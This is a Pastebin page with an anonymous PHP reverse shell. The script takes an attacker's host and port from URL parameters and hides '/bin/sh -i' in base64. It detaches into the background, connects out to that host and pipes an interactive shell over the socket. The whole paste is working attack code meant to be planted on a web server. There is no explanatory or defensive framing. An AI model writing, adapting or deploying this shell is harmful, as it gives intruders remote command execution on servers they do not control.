daily pastebin goal
55%
SHARE
TWEET

Untitled

a guest Feb 13th, 2018 60 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. set_time_limit (0);
  3. $temp = $_GET['i'];
  4. $check = $_GET['id'];
  5. $cs = 1400;
  6. $write_a = null;
  7. $error_a = null;
  8. $s = base64_decode("L2Jpbi9zaCAtaQ==");
  9. $daemon = 0;
  10. $def = 0;
  11. if (function_exists('pcntl_fork')) {
  12.     $pid = pcntl_fork();
  13.    
  14.     if ($pid == -1) {
  15.         printit("Err: Can't fork");
  16.         exit(1);
  17.     }
  18.    
  19.     if ($pid) {
  20.         exit(0);
  21.     }
  22.     if (posix_setsid() == -1) {
  23.         printit("Err: Can't setsid()");
  24.         exit(1);
  25.     }
  26.     $daemon = 1;
  27. } else {
  28.     printit("warn: failed aemonise.it's common");
  29. }
  30.  
  31. chdir("/");
  32. umask(0);
  33. $sock = fsockopen($temp, $check, $errno, $errstr, 30);
  34. if (!$sock) {
  35.     printit("$errstr ($errno)");
  36.     exit(1);
  37. }
  38. // Spawn shell process
  39. $descriptorspec = array(
  40.    0 => array("pipe", "r"),  
  41.    1 => array("pipe", "w"),  
  42.    2 => array("pipe", "w")
  43. );
  44. $process = proc_open($s, $descriptorspec, $pipes);
  45. if (!is_resource($process)) {
  46.     printit("Err: Can't spawn sh");
  47.     exit(1);
  48. }
  49.  
  50. stream_set_blocking($pipes[0], 0);
  51. stream_set_blocking($pipes[1], 0);
  52. stream_set_blocking($pipes[2], 0);
  53. stream_set_blocking($sock, 0);
  54. printit("rv ok");
  55. while (1) {
  56.     if (feof($sock)) {
  57.         printit("Err:rv connection terminated");
  58.         break;
  59.     }
  60.     if (feof($pipes[1])) {
  61.         printit("Err: sh proc terminated");
  62.         break;
  63.     }
  64.     $read_a = array($sock, $pipes[1], $pipes[2]);
  65.     $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
  66.     if (in_array($sock, $read_a)) {
  67.         if ($def) printit("SOCK READ");
  68.         $input = fread($sock, $cs);
  69.         if ($def) printit("SOCK: $input");
  70.         fwrite($pipes[0], $input);
  71.     }
  72.     if (in_array($pipes[1], $read_a)) {
  73.         if ($def) printit("STDOUT READ");
  74.         $input = fread($pipes[1], $cs);
  75.         if ($def) printit("STDOUT: $input");
  76.         fwrite($sock, $input);
  77.     }
  78.     if (in_array($pipes[2], $read_a)) {
  79.         if ($def) printit("STDERR READ");
  80.         $input = fread($pipes[2], $cs);
  81.         if ($def) printit("STDERR: $input");
  82.         fwrite($sock, $input);
  83.     }
  84. }
  85. fclose($sock);
  86. fclose($pipes[0]);
  87. fclose($pipes[1]);
  88. fclose($pipes[2]);
  89. proc_close($process);
  90. function printit ($string) {
  91.     if (!$daemon) {
  92.         print "$string\n";
  93.     }
  94. }
  95. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top